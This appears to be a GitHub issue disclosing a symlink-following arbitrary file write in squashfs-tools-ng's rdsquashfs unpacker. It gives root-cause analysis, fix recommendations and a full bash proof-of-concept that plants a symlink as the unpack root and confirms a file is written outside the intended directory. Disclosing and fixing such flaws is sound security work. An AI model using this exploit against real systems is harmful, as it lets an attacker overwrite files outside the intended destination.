Skip to content

squashfs-tools-ng rdsquashfs Arbitrary File Write via Preexisting Unpack-Root Symlink #138

@Nicholas-wei

Description

@Nicholas-wei

rdsquashfs is frequently used in automation to unpack untrusted SquashFS images into a directory such as out/.

This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)

One realistic attack scenario is a shared workspace where the unpack destination is attacker-controlled as a symlink:

/tmp/rdsquashfs_root_symlink_poc/
|-- sandbox/
|   `-- out -> ../outside/  (preexisting symlink planted in destination)
|-- outside/
`-- image.sqfs              (untrusted SquashFS image)

Victim workflow:

  1. Victim runs: rdsquashfs -u / -p /tmp/rdsquashfs_root_symlink_poc/sandbox/out /tmp/rdsquashfs_root_symlink_poc/image.sqfs
  2. rdsquashfs follows the symlink and unpacks into /tmp/rdsquashfs_root_symlink_poc/outside/ (or any other writable symlink target)

The image does not need weird filenames; the escape happens because the chosen unpack root path is a preexisting symlink.

0. Environment

  • Source: git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-ng
  • Version: squashfs-tools-ng commit e3dcf17 (latest on 23/04/2026)
  • Version below e3dcf17 is also infected.

1. Description

When --unpack-root/-p <path> is used, rdsquashfs does:

  1. mkdir_p(opt.unpack_root) and
  2. chdir(opt.unpack_root)

If <path> exists as a symlink, mkdir_p(...) treats mkdir(...)=EEXIST as success and chdir(...) follows the symlink into the target directory. All subsequent extraction is then performed in the symlink target, not the intended workspace directory.

Relevant code:

  • bin/rdsquashfs/src/rdsquashfs.c:~230+
    • mkdir_p(opt.unpack_root) then chdir(opt.unpack_root)
  • lib/util/src/mkdir_p.c:126+
    • treats EEXIST as success without verifying inode type (lstat + S_ISDIR)

2. Impact

If an attacker can influence the unpack destination path (common in shared workspaces and “extract into ./out” pipelines), they can redirect extraction to an arbitrary directory writable by the victim, resulting in unintended file creation/overwrite outside the intended destination.

3. Root Cause

  • --unpack-root is not validated with lstat(); symlink roots are accepted.
  • Extraction uses process-wide chdir() and then path-relative operations, so once chdir() follows the symlink, all output goes to the wrong place.

4. Proof-of-Concept

4.1 PoC files

  • Runner: poc.sh

4.2 Expected result

Successful exploitation creates:

  • /tmp/rdsquashfs_root_symlink_poc/outside/dir/pwn.txt

even though extraction was requested under:

  • /tmp/rdsquashfs_root_symlink_poc/sandbox/out/

5. Fix Recommendations

  1. Reject symlink roots: lstat(unpack_root) and fail on S_IFLNK.
  2. Prefer descriptor-relative extraction (open output root once as a dirfd + openat()/mkdirat() walk) instead of chdir().
  3. When encountering existing path components, lstat() them and reject symlinks and other unexpected inode types.
  4. Add regression tests for:
    • unpack root is a symlink
    • preexisting internal symlink parent components

6. Reproduction

From this directory:

bash poc.sh

Below is poc.sh

#!/usr/bin/env bash
set -euo pipefail

SQFSNG_REPO_URL="https://github.com/AgentD/squashfs-tools-ng.git"
SQFSNG_SRC="/tmp/squashfs-tools-ng"
SQFSNG_COMMIT="e3dcf17"

for bin in mksquashfs; do
  if ! command -v "$bin" >/dev/null 2>&1; then
    echo "error: $bin is required" >&2
    exit 1
  fi
done

if [[ ! -d "${SQFSNG_SRC}/.git" ]]; then
  git clone "${SQFSNG_REPO_URL}" "${SQFSNG_SRC}" >/dev/null
fi

git -C "${SQFSNG_SRC}" checkout -q "${SQFSNG_COMMIT}"

base=/tmp/unpfuzz_rdsquashfs_root_symlink_poc
rm -rf "${base}"
mkdir -p "${base}/src/dir" "${base}/sandbox" "${base}/outside"
printf 'RDSQFS_ROOT_SYMLINK\n' > "${base}/src/dir/pwn.txt"

mksquashfs "${base}/src" "${base}/test.sqfs" -noappend -quiet >/dev/null

# Attacker-controlled preexisting unpack-root symlink.
ln -s ../outside "${base}/sandbox/out"

# Build rdsquashfs (out-of-tree) to keep the repo clean.
if [[ ! -x "${SQFSNG_SRC}/configure" ]]; then
  (cd "${SQFSNG_SRC}" && ./autogen.sh >/dev/null)
fi

build="${base}/build"
mkdir -p "${build}"
(cd "${build}" && "${SQFSNG_SRC}/configure" --disable-shared >/dev/null)
(cd "${build}" && make -j"$(nproc)" rdsquashfs >/dev/null)

rdsq_bin="${build}/rdsquashfs"
if [[ ! -x "${rdsq_bin}" ]]; then
  echo "error: rdsquashfs binary not executable: ${rdsq_bin}" >&2
  exit 1
fi

"${rdsq_bin}" -q -u / -p "${base}/sandbox/out" "${base}/test.sqfs" >/dev/null

if [[ ! -f "${base}/outside/dir/pwn.txt" ]]; then
  echo "[-] exploit failed: expected outside file not found" >&2
  find "${base}" -maxdepth 4 -ls >&2 || true
  exit 1
fi

echo "[+] unpack-root symlink accepted; wrote outside intended destination:"
ls -l "${base}/outside/dir/pwn.txt"
cat "${base}/outside/dir/pwn.txt"

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions